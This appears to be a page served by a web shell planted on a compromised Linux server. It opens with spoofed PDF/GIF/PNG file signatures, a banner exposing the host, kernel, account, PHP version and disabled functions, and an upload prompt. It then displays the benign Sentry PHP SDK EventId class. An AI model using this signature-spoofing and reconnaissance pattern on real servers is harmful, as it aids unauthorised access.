%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64 User : addictionfreeind ( 1003) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Directory : /home/addictionfreeind/www/admin1/vendor/sentry/sentry/src/ |
Upload File : |
<?php
declare(strict_types=1);
namespace Sentry;
use Sentry\Util\SentryUid;
/**
* This class represents an event ID.
*
* @author Stefano Arlandini <sarlandini@alice.it>
*/
final class EventId implements \Stringable
{
/**
* @var string The ID
*/
private $value;
/**
* Class constructor.
*
* @param string $value The ID
*/
public function __construct(string $value)
{
if (!preg_match('/^[a-f0-9]{32}$/i', $value)) {
throw new \InvalidArgumentException('The $value argument must be a 32 characters long hexadecimal string.');
}
$this->value = $value;
}
/**
* Generates a new event ID.
*
* @copyright Matt Farina MIT License https://github.com/lootils/uuid/blob/master/LICENSE
*/
public static function generate(): self
{
return new self(SentryUid::generate());
}
public function __toString(): string
{
return $this->value;
}
}